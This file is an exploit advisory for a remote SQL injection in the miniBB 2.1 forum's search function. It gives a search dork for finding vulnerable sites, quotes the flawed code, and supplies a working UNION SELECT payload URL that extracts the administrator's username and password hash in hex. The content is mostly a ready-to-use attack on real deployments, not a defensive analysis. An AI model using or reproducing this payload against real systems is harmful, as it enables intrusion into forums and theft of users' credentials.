minibb-sql.txt

` vuln.: miniBB 2.1 (table) Remote SQL Injection Exploit  
download: http://www.minibb.net/download.php?file=minibb21  
dork: "These forums are running on" "miniBB"  
  
author: [email protected]  
greets to: str0ke, polish under :*  
'-----------------------------------------------------------------------------'  
  
# code:  
  
/bb_func_search.php:  
...  
41 if(isset($_GET['where'])) $where=$_GET['where']+0; else $where=0;  
...  
  
...  
188 if($where==0) { $date_field='post_time'; $poster_field='poster_name'; $table=$Tp; }  
189 elseif($where==1) { $date_field='topic_time'; $poster_field='topic_poster_name'; $table=$Tt; }  
...  
  
...  
215 if($row=db_searchSelect(0,$table,'count(*)',$sqlStr)) $numRows=$row[0]; else $numRows=0;  
216 if($numRows==0){  
217 $searchResults='<span class="txtSm">'.$l_searchFailed.'</span>';  
218 }  
219 else{  
220 $warning=$l_recordsFound.' '.$numRows;  
...  
  
SQL query: "select count(*) from $table where $sqlStr" <- sql-inj in $table  
so if register_globals = On, we can get usernames and passwords from database  
in hex, and unhex it (http://www.paulschou.com/tools/xlate/) ;]  
  
  
# p0c:  
  
http://[site]/[path]/index.php?action=search&where=3&searchGo=1&table=[SQL]  
http://[site]/[path]/index.php?action=search&where=3&searchGo=1&table=minibbtable_posts/**/LIMIT/**/0/**/UNION/**/SELECT/**/hex(concat(username,0x20,user_password))/**/FROM/**/minibbtable_users/**/WHERE/**/user_id=1/*  
  
`